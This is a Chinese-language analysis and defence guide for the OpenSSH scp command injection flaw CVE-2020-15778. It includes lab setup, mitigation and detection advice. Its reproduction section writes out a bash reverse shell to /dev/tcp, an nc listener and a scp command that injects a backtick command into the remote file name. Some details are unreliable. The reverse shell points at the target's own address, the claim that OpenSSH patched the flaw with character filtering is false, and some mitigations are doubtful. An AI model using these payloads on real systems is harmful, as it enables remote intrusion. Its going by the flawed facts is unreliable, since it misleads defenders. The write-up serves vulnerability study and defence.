OpenSSH 命令注入漏洞(CVE-2020-15778) 深度分析与防御指南
0x00 漏洞概述
CVE编号: CVE-2020-15778
发布时间: 2020-07-24
危害等级: 高危
影响版本: OpenSSH <= 8.3p1
漏洞描述
OpenSSH 8.3p1及之前版本中的scp实现存在操作系统命令注入漏洞。该漏洞存在于scp.c文件中,即使在禁用SSH登录的情况下,只要允许使用SCP传输文件且远程服务器允许使用反引号(`),攻击者就可以利用此漏洞执行任意命令。
漏洞原理
当使用SCP复制文件到远程服务器时,如果文件名中包含反引号(`)包裹的命令,这些命令会在远程服务器上执行。这是因为SCP在远程文件名处理时未正确过滤特殊字符,导致命令注入。
利用条件
- 知道目标的SSH密码
- 目标系统允许SCP文件传输
- 远程服务器shell环境支持反引号命令执行
0x01 漏洞复现环境搭建
靶机环境
- 操作系统: CentOS 7
- OpenSSH版本: <= 8.3p1
渗透机环境
- 操作系统: Kali Linux 2019
环境准备步骤
-
验证SSH版本:
ssh -V确认版本为受影响版本(<= 8.3p1)
-
安装iptables (若未安装):
yum install -y iptables yum install iptables-services -
禁用firewalld (CentOS 7默认):
systemctl stop firewalld systemctl mask firewalld -
配置iptables规则:
service iptables start iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP service iptables save iptables -L -n --line-number此配置允许SCP但禁止SSH登录
0x02 漏洞复现步骤
-
创建恶意脚本
在Kali上创建1.sh文件,内容为反弹shell命令:bash -i >& /dev/tcp/192.168.207.156/4444 0>&1 -
上传恶意脚本
使用SCP将文件上传到靶机的/tmp目录:scp 1.sh root@192.168.207.156:/tmp/ -
设置监听
在Kali上开启监听:nc -lvnp 4444 -
执行漏洞利用
使用SCP执行远程命令:scp 1.sh root@192.168.207.156:'`sh /tmp/1.sh`'输入正确密码后,将获得反弹shell
0x03 漏洞分析
技术细节
-
SCP命令处理流程:
- SCP在传输文件时会在远程服务器上调用scp命令
- 远程文件名参数未经过滤直接传递给shell
- 反引号中的命令会被shell解析执行
-
绕过限制:
- 即使禁用SSH登录,SCP仍可工作
- 不依赖任何特权提升机制
- 直接以认证用户的权限执行命令
影响范围
- 所有运行OpenSSH <= 8.3p1的系统
- 特别是那些仅开放SCP不开放SSH的系统
- 使用SCP进行自动化文件传输的环境
0x04 防御措施
临时缓解方案
-
密码安全:
- 确保SSH密码强度足够
- 定期更换密码
- 禁用不必要的账户
-
限制SCP使用:
# 在sshd_config中添加 ForceCommand /usr/bin/scp -
禁用反引号:
- 修改默认shell配置限制命令执行
永久解决方案
-
升级OpenSSH:
yum update openssh或从源码编译安装最新版本
-
使用替代方案:
- 考虑使用rsync替代SCP
- 使用SFTP替代SCP
-
网络层防护:
- 配置网络防火墙限制SCP访问
- 实施IP白名单
0x05 检测方法
-
版本检测:
ssh -V检查版本是否<=8.3p1
-
漏洞扫描:
- 使用Nessus、OpenVAS等漏洞扫描工具
- 专用漏洞检测脚本
-
日志分析:
- 检查SCP日志中的异常文件名
- 监控含有反引号的SCP命令
0x06 厂商补丁
OpenSSH官方在后续版本中修复了此漏洞,建议所有用户升级至最新版本。补丁主要修改了scp.c文件中的文件名处理逻辑,增加了对特殊字符的过滤。
0x07 总结
CVE-2020-15778是一个高危的OpenSSH命令注入漏洞,允许攻击者在特定条件下通过SCP执行任意命令。虽然利用需要知道SSH密码,但在自动化环境中风险仍然很高。管理员应立即评估系统风险,采取适当的防御措施,优先升级OpenSSH到最新版本。